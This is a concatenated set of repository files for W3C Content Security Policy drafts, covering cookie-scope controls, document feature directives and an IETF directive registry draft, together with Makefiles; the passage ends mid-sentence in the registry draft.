    [Constructor(DOMString name, DOMString value), Exposed=(Window,Worker)]
    interface SourceListDirective : SecurityPolicyDirective {
      readonly attribute FrozenArray<SourceExpression> sources;
    };
  
The SourceListDirective(name, value) constructor, when invoked, MUST execute the following steps: 1. If name is not a valid {{DirectiveName}}, throw a `SyntaxError` exception, and abort the remaining steps. 2. Let directive be a new directive with a name of name and a value of value. 3. Set `this@`{{SecurityPolicyDirective/[[directive]]}} to directive. 4. `this@`Set {{SourceListDirective/sources}} to the result of executing [[#parse-serialized-source-list]] on value. 5. Return `this`. The requestMatches(request) method, when invoked, MUST execute the following steps: 1. Let url be request's {{Request/url}}. 2. For each expression in this object's {{SourceListDirective/sources}} attribute: 1. If expression's {{SourceExpression/urlMatches(url)}} returns `true` when executed upon url, return `true`. 3. Return `false`. The nodeMatches(node) method, when invoked, MUST execute the following steps: 1. For each expression in this object's {{SourceListDirective/sources}} attribute: 1. If expression's {{SourceExpression/nodeMatches(node)}} returns `true` when executed upon node, return `true`. 2. Return `false`.

`SourceExpression` Interface

{{SourceListDirective}} objects' {{SourceListDirective/sources}} attribute contains the list of source expressions that make up the directive's value. These are represented as {{SourceExpression}} objects according to the following IDL:
    [Constructor(DOMString value), Exposed=(Window,Worker)]
    interface SourceExpression {
      boolean urlMatches(USVString url);
      boolean nodeMatches(Node node);

      readonly attribute DOMString value;
    };
  
value
The expression's value. `script-src https://example.com/ 'nonce-abcde'` will, for example, produce two {{SourceExpression}} objects, one with a value of "https://example.com/", the other with a value of "'nonce-abcde'".
urlMatches(url)
This method returns `true` if executing [[#match-url-to-source-expression]] on url and the object's {{SourceExpression/value}} attribute returns `Matches`, and `false` otherwise.
        url: The URL to match against the SourceExpression.
      
nodeMatches(node)
This method returns `true` if executing [[#match-node-to-source-expression]] on node and the object's {{SourceExpression/value}} attribute returns `Matches`, and `false` otherwise.
        node: The Node which will be matched against the directive.
      
================================================ FILE: cookies/Makefile ================================================ all: index.html force: bikeshed -f spec ./index.src.html index.html: index.src.html bikeshed -f spec ./index.src.html FPWD: bikeshed -f spec --md-status=FPWD --md-date=2015-12-15 ./index.src.html ./published/FPWD.html publish: git push origin master master:gh-pages ================================================ FILE: cookies/index.bs ================================================

Content Security Policy: Cookie Controls

©2015 Google, Inc.
spec: CSP3; urlPrefix: https://mikewest.github.io/webappsec/specs/content-security-policy/
  type: dfn
    text: content-security-policy; url: content_security_policy
    text: protected resource
    text: report a violation
    text: directive
    text: enforced Content Security Policies
    text: monitored Content Security Policies
spec: HTML5; urlPrefix: http://www.w3.org/TR/html5/
  type: dfn
    urlPrefix: infrastructure.html
      text: strip leading and trailing whitespace
      text: split a string on spaces
    urlPrefix: webappapis.html
      text: environment settings object; url: settings-object
      text: incumbent settings object
spec: URL; urlPrefix: http://www.w3.org/TR/url/
  type: interface
    text: URL; url: concept-url
  type: attribute
    text: host; for: URL; url: concept-url-host
    text: port; for: URL; url: concept-url-port
    text: scheme; for: URL; url: concept-url-scheme
spec: RFC5234; urlPrefix: https://tools.ietf.org/html/rfc5234
  type: dfn
    text: WSP; url: appendix-B.1
spec: RFC6265; urlPrefix: https://tools.ietf.org/html/rfc6265
  type: dfn
    text: cookie; url: section-1
    text: cookie store; url: section-5.3
    text: host-only-flag; url: section-5.3
    text: secure-only-flag; url: section-5.3
spec: RFC6454; urlPrefix: https://tools.ietf.org/html/rfc6454
  type: dfn
    text: origin; url: section-3.2
spec: RFC7230; urlPrefix: https://tools.ietf.org/html/rfc7230
  type: grammar
    text: RWS; url: section-3.2.3
{
  "CSP-PINNING": {
    "authors": [ "Mike West" ],
    "title": "Content Security Policy: Pinning",
    "href": "https://w3c.github.io/webappsec/specs/csp-pinning/",
    "status": "FPWD",
    "publisher": "W3C"
  },
  "ORIGIN-COOKIES": {
    "authors": [ "Mike West" ],
    "title": "Origin Cookies",
    "href": "https://tools.ietf.org/html/draft-west-origin-cookies",
    "status": "ID",
    "publisher": "IETF"
  },
  "YUMMY-COOKIES": {
    "authors": [ "Vincent Marti" ],
    "title": "Yummy cookies across domains",
    "href": "https://github.com/blog/1466-yummy-cookies-across-domains"
  }
}
Work on this document has been discontinued and it should not be referenced or used as a basis for implementation.

Introduction

This section is not normative. Cookies are an HTTP state management mechanism that web developers rely on heavily for important things like authentication. They are also quite fragile, and have scoping rules that don't mesh well with the origin model that developers are familiar with. Cookies flow freely between schemes by default, can be set from subdomains or limited to paths, and ignore ports entirely. The disconnect between cookies and other types of storage opens up a number of risks that are difficult to fully mitigate. See [[YUMMY-COOKIES]] for some real-world examples of problems that have cropped up in the past. This document defines mechanisms which allow developers to limit the ways in which cookies can be set for a given protected resource.

Examples

MegaCorp Inc. hosts a number of pages which have no real need to write cookies. Following the principle of least privilege, the clever developers responsible for those pages send the following headers along with every HTTP response, ensuring that no cookies can be set via `Set-Cookie` or `document.cookie`:
      Content-Security-Policy: cookie-scope none
    
MegaCorp Inc. hosts a number of pages on `http://non-secure.example.com` which need to write cookies, but don't need those cookies to span subdomains. The following header ensures that cookies can only be set via `Set-Cookie` or `document.cookie` if those cookies are "host only" (e.g. the cookie's `domain` attribute is empty):
      Content-Security-Policy: cookie-scope host
    
That is, the following code would set a cookie:
      document.cookie = "key=value";
    
And the following would not:
      document.cookie = "key=value; domain=example.com";
    
MegaCorp Inc. hosts a number of pages on `https://secure.example.com` which need to write cookies, but don't need those cookies to span subdomains. They'll certainly set the host property, just like the previous example, but since this is a secure site, they also wish to ensure that any cookies they set also contain the `secure` attribute. They can do so with the following header:
      Content-Security-Policy: cookie-scope host secure
    
That is, the following code would set a cookie:
      document.cookie = "key=value; secure";
    
And the following would not:
      document.cookie = "key=value";
      document.cookie = "key=value; domain=example.com; secure";
    
`cookie-scope` is a Content Security Policy directive [[!CSP]] which restricts the cookies [[!RFC6265]] which can be set in a particular context. The syntax is described by the following ABNF grammar [[!RFC5234]] (including the RWS rule from [[!RFC7230]]):
    directive-name = "cookie-scope"
    directive-value = scoping-rules *( RWS scoping-rules )
    scoping-rules = "host" / "http" / "none" / "secure"
  
The directive has one of four values: 1. "host" allows "host only" cookies to be set, but will block setting cookies which set a `domain` attribute. 2. "http" allows cookies to be set via the `Set-Cookie` HTTP header, but not via `document.cookie`. 3. "none" blocks all cookies. 4. "secure" allows cookies to be set with a `secure` attribute, and will block setting any non-secure cookies. These values MAY be combined in order to tighten the restrictions on a cookie. That is, if both "host" and "secure" are present, then cookies may only be set which are both secure and host-only. If "none" is present with any combination of the other values, no cookies may be set. ISSUE: Erik Nygren proposed adding `path` restrictions as well. Is that worthwhile?

Processing Model

After step 10 of the storage algorithm in Section 5.3 of RFC 6265, a cookie object has been built. Insert the following validation step before proceeding to the current step 11:
  1. If [[#block-cookie]] returns "`Blocked`" when executed upon cookie and the incumbent settings object, abort these steps without modifying the cookie store.
ISSUE: Monkey patching! Hey, maybe it's time to reopen that cookie RFC after all, eh @mnot? :) ISSUE(w3c/webappsec-csp#42): We'll need a mechanism to restrict reading from `document.cookie`, but I'd like something less specific than `cookie-scope disable-dom-access` or something similar. The linked GitHub bug is a proposal that's a bit more general and widely applicable.

Algorithms

Given a cookie (cookie), and an environment settings object (settings), this algorithm returns "`Allowed`" if cookie can be written, and "`Blocked`" if it violates one or more of settings's enforced Content Security Policies: 1. Let status be "`Allowed`". 2. For each policy in settings's monitored Content Security Policies: 1. If [[#violates]] returns "`Violates`" when executed upon the cookie and policy, report a violation. Note: We do not touch status here, as we're only evaluating the monitored policies. 2. For each policy in settings's enforced Content Security Policies: 1. If [[#violates]] returns "`Violates`" when executed upon the cookie and policy, report a violation, and set status to "`Blocked`": 3. Return status.

Does cookie violate policy?

1. Let scope be the result of executing [[#parse]] on policy's cookie-scope directive. 2. If any of the following conditions are met, return "`Violates`": 1. scope contains "host", and the cookie's `host-only-flag` is `false`. 2. scope contains "http", and the cookie was received from a "non-HTTP" API. 3. scope contains "none". 4. scope contains "secure", and the cookie's `secure-only-flag` is `false`. 3. Return "`Does not violate`".

Parse string as a `cookie-scope` value

Given a string (string), this algorithm returns a set of the valid `cookie-scope` values the string represents. Invalid values are ignored: 1. Strip leading and trailing whitespace from string. 2. Let values be an empty set. 3. For each token in the list generated by splitting string on spaces: 1. If token matches the grammar for scoping-rules, insert token into values. 4. Return values.

Security Considerations

Existing Cookies

Note that the mechanisms defined here do not protect against cookies that already exist in a user's cookie store. Those cookies are delivered along with the HTTP request, before Content Security Policy can be delivered and applied. It is possible that future work like [[CSP-PINNING]] might enable these kinds of a priori restrictions, but, even then, CSP should be seen as a mitigation strategy, layered on top of filters and sanity checks for incoming data.

Acknowledgements

Mark Nottingham proposed this directive several years ago. Sorry it took so long, Mark!
================================================ FILE: cookies/published/FPWD.html ================================================ Content Security Policy: Cookie Controls

Content Security Policy: Cookie Controls

W3C First Public Working Draft,

This version:
http://www.w3.org/TR/2015/WD-csp-cookies-1-20151215/
Latest version:
http://www.w3.org/TR/csp-cookies/
Editor's Draft:
https://w3c.github.io/webappsec-csp/cookies/
Feedback:
public-webappsec@w3.org with subject line “[csp-cookies] … message topic …” (archives)
Editor:
(Google Inc.)

Abstract

This document defines mechanisms by which web developers can limit the ways in which cookies may be set in the context of their sites and applications.

Status of this document

This section describes the status of this document at the time of its publication. Other documents may supersede this document. A list of current W3C publications and the latest revision of this technical report can be found in the W3C technical reports index at http://www.w3.org/TR/.

This document was published by the Web Application Security Working Group as a Working Draft. This document is intended to become a W3C Recommendation.

The (archived) public mailing list public-webappsec@w3.org (see instructions) is preferred for discussion of this specification. When sending e-mail, please put the text “csp-cookies” in the subject, preferably like this: “[csp-cookies] …summary of comment…

This document is a First Public Working Draft.

Publication as a First Public Working Draft does not imply endorsement by the W3C Membership. This is a draft document and may be updated, replaced or obsoleted by other documents at any time. It is inappropriate to cite this document as other than work in progress.

This document was produced by the Web Application Security Working Group.

This document was produced by a group operating under the 5 February 2004 W3C Patent Policy. W3C maintains a public list of any patent disclosures made in connection with the deliverables of the group; that page also includes instructions for disclosing a patent. An individual who has actual knowledge of a patent which the individual believes contains Essential Claim(s) must disclose the information in accordance with section 6 of the W3C Patent Policy.

This document is governed by the 1 September 2015 W3C Process Document.

Table of Contents

1. Introduction

This section is not normative.

Cookies are an HTTP state management mechanism that web developers rely on heavily for important things like authentication. They are also quite fragile, and have scoping rules that don’t mesh well with the origin model that developers are familiar with. Cookies flow freely between schemes by default, can be set from subdomains or limited to paths, and ignore ports entirely. The disconnect between cookies and other types of storage opens up a number of risks that are difficult to fully mitigate. See [YUMMY-COOKIES] for some real-world examples of problems that have cropped up in the past.

This document defines mechanisms which allow developers to limit the ways in which cookies can be set for a given protected resource.

1.1. Examples

MegaCorp Inc. hosts a number of pages which have no real need to write cookies. Following the principle of least privilege, the clever developers responsible for those pages send the following headers along with every HTTP response, ensuring that no cookies can be set via Set-Cookie or document.cookie:
Content-Security-Policy: cookie-scope none
MegaCorp Inc. hosts a number of pages on http://non-secure.example.com which need to write cookies, but don’t need those cookies to span subdomains. The following header ensures that cookies can only be set via Set-Cookie or document.cookie if those cookies are "host only" (e.g. the cookie’s domain attribute is empty):
Content-Security-Policy: cookie-scope host

That is, the following code would set a cookie:

document.cookie = "key=value";

And the following would not:

document.cookie = "key=value; domain=example.com";
MegaCorp Inc. hosts a number of pages on https://secure.example.com which need to write cookies, but don’t need those cookies to span subdomains. They’ll certainly set the host property, just like the previous example, but since this is a secure site, they also wish to ensure that any cookies they set also contain the secure attribute. They can do so with the following header:
Content-Security-Policy: cookie-scope host secure

That is, the following code would set a cookie:

document.cookie = "key=value; secure";

And the following would not:

document.cookie = "key=value";
document.cookie = "key=value; domain=example.com; secure";

cookie-scope is a Content Security Policy directive [CSP] which restricts the cookies [RFC6265] which can be set in a particular context. The syntax is described by the following ABNF grammar [RFC5234] (including the RWS rule from [RFC7230]):

directive-name = "cookie-scope"
directive-value = scoping-rules *( RWS scoping-rules )
scoping-rules = "host" / "http" / "none" / "secure"

The directive has one of four values:

  1. "host" allows "host only" cookies to be set, but will block setting cookies which set a domain attribute.

  2. "http" allows cookies to be set via the Set-Cookie HTTP header, but not via document.cookie.

  3. "none" blocks all cookies.

  4. "secure" allows cookies to be set with a secure attribute, and will block setting any non-secure cookies.

These values MAY be combined in order to tighten the restrictions on a cookie. That is, if both "host" and "secure" are present, then cookies may only be set which are both secure and host-only. If "none" is present with any combination of the other values, no cookies may be set.

Erik Nygren proposed adding path restrictions as well. Is that worthwhile?

2.1. Processing Model

After step 10 of the storage algorithm in Section 5.3 of RFC 6265, a cookie object has been built. Insert the following validation step before proceeding to the current step 11:

  1. If §3.1 Is cookie blocked for settings? returns "Blocked" when executed upon cookie and the incumbent settings object, abort these steps without modifying the cookie store.

Monkey patching! Hey, maybe it’s time to reopen that cookie RFC after all, eh @mnot? :)

We’ll need a mechanism to restrict reading from document.cookie, but I’d like something less specific than cookie-scope disable-dom-access or something similar. The linked GitHub bug is a proposal that’s a bit more general and widely applicable. <https://github.com/w3c/webappsec-csp/issues/42>

3. Algorithms

Given a cookie (cookie), and an environment settings object (settings), this algorithm returns "Allowed" if cookie can be written, and "Blocked" if it violates one or more of settings’s enforced Content Security Policies:

  1. Let status be "Allowed".

  2. For each policy in settings’s monitored Content Security Policies:

    1. If §3.2 Does cookie violate policy? returns "Violates" when executed upon the cookie and policy, report a violation.

      Note: We do not touch status here, as we’re only evaluating the monitored policies.

  3. For each policy in settings’s enforced Content Security Policies:

    1. If §3.2 Does cookie violate policy? returns "Violates" when executed upon the cookie and policy, report a violation, and set status to "Blocked":

  4. Return status.

3.2. Does cookie violate policy?

  1. Let scope be the result of executing §3.3 Parse string as a cookie-scope value on policy’s cookie-scope directive.

  2. If any of the following conditions are met, return "Violates":

    1. scope contains "host", and the cookie’s host-only-flag is false.

    2. scope contains "http", and the cookie was received from a "non-HTTP" API.

    3. scope contains "none".

    4. scope contains "secure", and the cookie’s secure-only-flag is false.

  3. Return "Does not violate".

3.3. Parse string as a cookie-scope value

Given a string (string), this algorithm returns a set of the valid cookie-scope values the string represents. Invalid values are ignored:

  1. Strip leading and trailing whitespace from string.

  2. Let values be an empty set.

  3. For each token in the list generated by splitting string on spaces:

    1. If token matches the grammar for scoping-rules, insert token into values.

  4. Return values.

4. Security Considerations

4.1. Existing Cookies

Note that the mechanisms defined here do not protect against cookies that already exist in a user’s cookie store. Those cookies are delivered along with the HTTP request, before Content Security Policy can be delivered and applied. It is possible that future work like [CSP-PINNING] might enable these kinds of a priori restrictions, but, even then, CSP should be seen as a mitigation strategy, layered on top of filters and sanity checks for incoming data.

5. Acknowledgements

Mark Nottingham proposed this directive several years ago. Sorry it took so long, Mark!

Conformance

Document conventions

Conformance requirements are expressed with a combination of descriptive assertions and RFC 2119 terminology. The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in the normative parts of this document are to be interpreted as described in RFC 2119. However, for readability, these words do not appear in all uppercase letters in this specification.

All of the text of this specification is normative except sections explicitly marked as non-normative, examples, and notes. [RFC2119]

Examples in this specification are introduced with the words "for example" or are set apart from the normative text with class="example", like this:

This is an example of an informative example.

Informative notes begin with the word "Note" and are set apart from the normative text with class="note", like this:

Note, this is an informative note.

Conformant Algorithms

Requirements phrased in the imperative as part of algorithms (such as "strip any leading space characters" or "return false and abort these steps") are to be interpreted with the meaning of the key word ("must", "should", "may", etc) used in introducing the algorithm.

Conformance requirements phrased as algorithms or specific steps can be implemented in any manner, so long as the end result is equivalent. In particular, the algorithms defined in this specification are intended to be easy to understand and are not intended to be performant. Implementers are encouraged to optimize.

Index

Terms defined by this specification

Terms defined by reference

References

Normative References

[CSP]
Brandon Sterne; Adam Barth. Content Security Policy 1.0. 19 February 2015. NOTE. URL: http://www.w3.org/TR/CSP1/
[CSP3]
Mike West; Daniel Veditz. Content Security Policy. ED. URL: https://w3c.github.io/webappsec/specs/content-security-policy/
[HTML5]
Ian Hickson; et al. HTML5. 28 October 2014. REC. URL: http://www.w3.org/TR/html5/
[RFC2119]
S. Bradner. Key words for use in RFCs to Indicate Requirement Levels. March 1997. Best Current Practice. URL: https://tools.ietf.org/html/rfc2119
[RFC5234]
D. Crocker, Ed.; P. Overell. Augmented BNF for Syntax Specifications: ABNF. January 2008. Internet Standard. URL: https://tools.ietf.org/html/rfc5234
[RFC6265]
A. Barth. HTTP State Management Mechanism. April 2011. Proposed Standard. URL: https://tools.ietf.org/html/rfc6265
[RFC6454]
A. Barth. The Web Origin Concept. December 2011. Proposed Standard. URL: https://tools.ietf.org/html/rfc6454
[RFC7230]
R. Fielding, Ed.; J. Reschke, Ed.. Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing. June 2014. Proposed Standard. URL: https://tools.ietf.org/html/rfc7230
[URL]
Anne van Kesteren; Sam Ruby. URL. 9 December 2014. WD. URL: http://www.w3.org/TR/url-1/

Informative References

[CSP-PINNING]
Mike West. Content Security Policy: Pinning. FPWD. URL: https://w3c.github.io/webappsec/specs/csp-pinning/
[YUMMY-COOKIES]
Vincent Marti. Yummy cookies across domains. URL: https://github.com/blog/1466-yummy-cookies-across-domains

Issues Index

Erik Nygren proposed adding path restrictions as well. Is that worthwhile?
Monkey patching! Hey, maybe it’s time to reopen that cookie RFC after all, eh @mnot? :)
We’ll need a mechanism to restrict reading from document.cookie, but I’d like something less specific than cookie-scope disable-dom-access or something similar. The linked GitHub bug is a proposal that’s a bit more general and widely applicable. <https://github.com/w3c/webappsec-csp/issues/42>
================================================ FILE: document/Makefile ================================================ all: index.html force: bikeshed -f spec ./index.src.html index.html: index.src.html bikeshed -f spec ./index.src.html FPWD: bikeshed -f spec --md-status=FPWD --md-date=2015-12-15 ./index.src.html ./published/FPWD.html publish: git push origin master master:gh-pages ================================================ FILE: document/index.bs ================================================

Content Security Policy: Document Features

spec: CSP; urlPrefix: https://w3c.github.io/webappsec-csp
  type: dfn
    text: content-security-policy; url: content-security-policy-header-field
    text: content security policy; url: security-policy
    text: content-security-policy-report-only; url: content-security-policy-report-only-header-field
    text: parse a serialized policy; url: parse-serialized-policy 
    text: policy
    text: directive set; for: policy
    text: disposition; for: policy
    text: CSP list; for: global object; url: global-object-csp-list
    text: source lists
    text: directive
    for: directive
      text: name
      text: value
      text: pre-request check
      text: post-request check
      text: response check
      text: initialization
    for: violation
      text: resource; url: violation-resource
  type: grammar
    text: serialized-policy; url: grammardef-serialized-policy
    text: serialized-source-list; url: grammardef-serialized-source-list
    text: 'none'; url: grammardef-none
    text: 'self'; url: grammardef-self
    text: host-source; url: grammardef-host-source
    text: scheme-source; url: grammardef-scheme-source
spec: FETCH; urlPrefix: https://fetch.spec.whatwg.org/
  type: dfn
    text: request; url: concept-request
    for: request
      text: target browsing context; url: concept-request-target-browsing-context
      text: destination; url: concept-request-destination
    text: response; url: concept-response
    text: CSP list; for: response; url: concept-response-policy-list
spec: HTML; urlPrefix: https://html.spec.whatwg.org/
  type: dfn
    text: navigate
    text: active document
    text: ancestor browsing context
    text: browsing context
    text: nested browsing context
    text: browsing context container
    text: set the frozen base url
    text: global object
    text: forced sandboxing flag set
    text: parse a sandboxing directive
    text: initialising a new document object; url: initialise-the-document-object
    text: CSP list; for: document; url: concept-document-csp-list
    text: sandboxed scripts browsing context flag
    text: sandboxed origin browsing context flag
  type: element
    text: frame
spec: URL; urlPrefix: https://url.spec.whatwg.org/
  type: dfn
    text: URL parser; url: concept-url-parser
  type: interface
    text: URL; url: concept-url
spec: RFC6454; urlPrefix: https://tools.ietf.org/html/rfc6454
  type: dfn
    text: unicode serialization; url: section-6.1
spec: RFC7230; urlPrefix: https://tools.ietf.org/html/rfc7230
  type: grammar
    text: RWS; url: section-3.2.3
    text: token; url: section-3.2.6
{
  "CSP-DIRECTIVE-REGISTRY": {
    "authors": [ "Mike West" ],
    "href": "https://tools.ietf.org/html/draft-west-webappsec-csp-reg",
    "title": "Initial Assignment for a Content Security Policy Directive Registry",
    "publisher": "IETF"
  }
}

Introduction

This section is not normative. This document defines a module of Content Security Policy which allows developers to lock down properties of the environment in which a policy applies.

Directives

Feature Directives

`disable`

The disable directive allows a developer to turn off certain features for a {{Document}} or {{Worker}}. The syntax for the directive's name and value is described by the following ABNF:
    directive-name  = "disable"
    directive-value = token *( RWS token )
  
The directive recognizes a number of potential token values: * `cookie` disables `document.cookie` * `domain` disables `document.domain` * `geolocation` disables [[GEOLOCATION-API]] * `midi` disables [[WEBMIDI]] * `notifications` disables [[NOTIFICATIONS]] * `push` disables [[PUSH-API]] * `webrtc` disables [[WEBRTC]] ISSUE: Moar. Also, do we need an `enable` counterpart to whitelist rather than blacklist? ISSUE: Define an algorithm and monkey-patch the relevant specs.

Navigation Directives

Integrations

Integration with HTML

1. [[#allow-base-for-document]] is called during <{base}>'s set the frozen base URL algorithm to ensure that the <{base/href}> attribute's value is valid. ISSUE: Need to add this to HTML.

Security Considerations

TODO.

Privacy Considerations

Ancestor Origin Leakage

The `frame-ancestors` directive allows a resource to gain knowlege of its ancestors' origins through brute force.

IANA Considerations

The Content Security Policy Directive registry should be updated with the following directives and references [[!CSP-DIRECTIVE-REGISTRY]]: : `base-uri` :: This document (see [[#directive-base-uri]]) : `form-action` :: This document (see [[#directive-form-action]]) : `frame-ancestors` :: This document (see [[#directive-frame-ancestors]]) : `plugin-types` :: This document (see [[#directive-plugin-types]]) : `sandbox` :: This document (see [[#directive-sandbox]])
================================================ FILE: iana/Makefile ================================================ id_base = .. xml2rfc ?= xml2rfc kramdown-rfc2629 ?= kramdown-rfc2629 idnits ?= idnits title = west-webappsec-csp-reg latest = $(shell (ls draft-${title}-*.txt || echo "draft-${title}-00.txt") | sort | tail -1) version = $(shell basename ${latest} .txt | awk -F- '{print $$NF}') target = draft-$(title)-$(version) prev = draft-$(title)-$(shell printf "%.2d" `echo ${version}-1 | bc`) next = draft-$(title)-$(shell printf "%.2d" `echo ${version}+1 | bc`) .PHONY: latest clean next diff idnits update latest: $(target).html $(target).txt clean: rm -f $(target).html $(target).txt next: cp $(target).txt $(next).txt sed -i '' -e"s/$(target)/$(next)/" draft.md diff: rfcdiff $(prev).txt $(target).txt idnits: $(target).txt $(idnits) $< %.xml: draft.md $(kramdown-rfc2629) $< > $@ %.html: %.xml $(xml2rfc) --html $< $@ %.txt: %.xml $(xml2rfc) $< $@ update: cp $(id_base)/Tools/skel/Makefile . ================================================ FILE: iana/draft-west-webappsec-csp-reg-00.html ================================================ Content Security Policy Directive Registry
Network Working Group M. West
Internet-Draft Google, Inc
Intended status: Standards Track October 6, 2015
Expires: April 8, 2016

Content Security Policy Directive Registry
draft-west-webappsec-csp-reg-00

Abstract

This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives. It populates the registry with the directives defined in the CSP specification.

Status of This Memo

This Internet-Draft is submitted in full conformance with the provisions of BCP 78 and BCP 79.

Internet-Drafts are working documents of the Internet Engineering Task Force (IETF). Note that other groups may also distribute working documents as Internet-Drafts. The list of current Internet-Drafts is at http://datatracker.ietf.org/drafts/current/.

Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet-Drafts as reference material or to cite them other than as "work in progress."

This Internet-Draft will expire on April 8, 2016.

Copyright Notice

Copyright (c) 2015 IETF Trust and the persons identified as the document authors. All rights reserved.

This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (http://trustee.ietf.org/license-info) in effect on the date of publication of this document. Please review these documents carefully, as they describe your rights and restrictions with respect to this document. Code Components extracted from this document must include Simplified BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Simplified BSD License.


Table of Contents

1. Introduction

The Content Security Policy specification [CSP] defines a mechanism by which web developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions.

The policy language specified in that document consists of an extensible set of “directives”, each of which controls a specific resource type or policy decision. This specification establishes a registry to ensure that extensions to CSP are listed and standardized.

2. Terminology

The key words “MUST”, “MUST NOT”, “REQUIRED”, “SHALL”, “SHALL NOT”, “SHOULD”, “SHOULD NOT”, “RECOMMENDED”, “MAY”, and “OPTIONAL” in this document are to be interpreted as described in [RFC2119].

3. Use of the Registry

Content Security Policy directives MUST be documented in a readily available public specification in order to be registered by IANA. This documentation MUST fully explain the syntax, intended usage, and semantics of the directive. The intent of this requirement is to assure interoperable independent implementations, and to prevent accidental namespace collisions between implementations of dissimilar features.

Documents defining new Content Security Policy directives MUST register them with IANA, as described in Section 4. The IANA registration policy for such parameters is “Specification Required, Designated Expert”, and is further discussed in Section 4.2.

4. IANA Considerations

This specification creates a new IANA registry named “Content Security Policy directives”.

4.1. Content Security Policy directives Registry

New Content Security Policy directives, and updates to existing directives, MUST be registered with IANA.

When registering a new Content Security Policy directive, the following information MUST be provided:

  • The directive’s name (which MUST be an ASCII string)
  • A reference to the readily available public specification defining the new directive’s syntax, usage, and semantics.

The following table contains the initial values for this registry:

Directive Name Reference
base-uri [CSP]
child-src [CSP]
connect-src [CSP]
default-src [CSP]
font-src [CSP]
form-action [CSP]
frame-ancestors [CSP]
frame-src [CSP]
img-src [CSP]
media-src [CSP]
object-src [CSP]
plugin-types [CSP]
report-uri [CSP]
sandbox [CSP]
script-src [CSP]
style-src [CSP]

4.2. Registration Policy for Content Security Policy directives

As per the terminology in [RFC5226] and actions accorded to such a role, the registration policy for Content Security Policy directives is “Specification Required, Designated Expert” (the former implies the latter).

The Designated Expert, when deliberating on whether to include a new directive in the registry, MAY use the criteria provided below to reach a decision. These are not an exhaustive list, but representative of the issues to consider when rendering an equitable decision):

  • Content Security Policy is a restrictive feature, which allows web developers to deny themselves access to resources and APIs which would otherwise be available. Deploying Content Security Policy is, therefore, a strict reduction in risk. The expert should carefully consider whether proposed directives would violate this property.
  • Granular directives are valuable, but the expert should strive to strike a reasonable balance between providing developers with all the knobs and switches possible, and providing only those with known security implications.

5. Security Considerations

The registry in this document does not in itself have security implications. The directives specified, however, certainly do. The documents referenced when registering new directives MUST contain detailed security and privacy considerations sections, and SHOULD contain usage information which informs web developers as to the directive’s expected implementation.

6. References

6.1. Normative References

[CSP] West, M. and D. Veditz, "Content Security Policy", n.d..
[RFC2119] Bradner, S., "Key words for use in RFCs to Indicate Requirement Levels", BCP 14, RFC 2119, DOI 10.17487/RFC2119, March 1997.
[RFC5226] Narten, T. and H. Alvestrand, "Guidelines for Writing an IANA Considerations Section in RFCs", BCP 26, RFC 5226, DOI 10.17487/RFC5226, May 2008.

6.2. Informative References

[RFC5341] Jennings, C. and V. Gurbani, "The Internet Assigned Number Authority (IANA) tel Uniform Resource Identifier (URI) Parameter Registry", RFC 5341, DOI 10.17487/RFC5341, September 2008.

Appendix A. Acknowledgements

I’ve cargo-culted this document from [RFC5341], so thank you to Cullen Jennings and Vijay K. Gurbani for giving me a reasonable template to work within.

Author's Address

Mike West Google, Inc EMail: mkwst@google.com URI: https://mikewest.org/
================================================ FILE: iana/draft-west-webappsec-csp-reg-00.txt ================================================ Network Working Group M. West Internet-Draft Google, Inc Intended status: Standards Track October 6, 2015 Expires: April 8, 2016 Content Security Policy Directive Registry draft-west-webappsec-csp-reg-00 Abstract This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives. It populates the registry with the directives defined in the CSP specification. Status of This Memo This Internet-Draft is submitted in full conformance with the provisions of BCP 78 and BCP 79. Internet-Drafts are working documents of the Internet Engineering Task Force (IETF). Note that other groups may also distribute working documents as Internet-Drafts. The list of current Internet- Drafts is at http://datatracker.ietf.org/drafts/current/. Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet-Drafts as reference material or to cite them other than as "work in progress." This Internet-Draft will expire on April 8, 2016. Copyright Notice Copyright (c) 2015 IETF Trust and the persons identified as the document authors. All rights reserved. This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (http://trustee.ietf.org/license-info) in effect on the date of publication of this document. Please review these documents carefully, as they describe your rights and restrictions with respect to this document. Code Components extracted from this document must include Simplified BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Simplified BSD License. West Expires April 8, 2016 [Page 1] Internet-Draft webappsec-csp-reg October 2015 Table of Contents 1. Introduction . . . . . . . . . . . . . . . . . . . . . . . . 2 2. Terminology . . . . . . . . . . . . . . . . . . . . . . . . . 2 3. Use of the Registry . . . . . . . . . . . . . . . . . . . . . 2 4. IANA Considerations . . . . . . . . . . . . . . . . . . . . . 3 4.1. Content Security Policy directives Registry . . . . . . . 3 4.2. Registration Policy for Content Security Policy directives . . . . . . . . . . . . . . . . . . . . . . . 4 5. Security Considerations . . . . . . . . . . . . . . . . . . . 4 6. References . . . . . . . . . . . . . . . . . . . . . . . . . 4 6.1. Normative References . . . . . . . . . . . . . . . . . . 4 6.2. Informative References . . . . . . . . . . . . . . . . . 5 Appendix A. Acknowledgements . . . . . . . . . . . . . . . . . . 5 Author's Address . . . . . . . . . . . . . . . . . . . . . . . . 5 1. Introduction The Content Security Policy specification [CSP] defines a mechanism by which web developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions. The policy language specified in that document consists of an extensible set of "directives", each of which controls a specific resource type or policy decision. This specification establishes a registry to ensure that extensions to CSP are listed and standardized. 2. Terminology The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in [RFC2119]. 3. Use of the Registry Content Security Policy directives MUST be documented in a readily available public specification in order to be registered by IANA. This documentation MUST fully explain the syntax, intended usage, and semantics of the directive. The intent of this requirement is to assure interoperable independent implementations, and to prevent accidental namespace collisions between implementations of 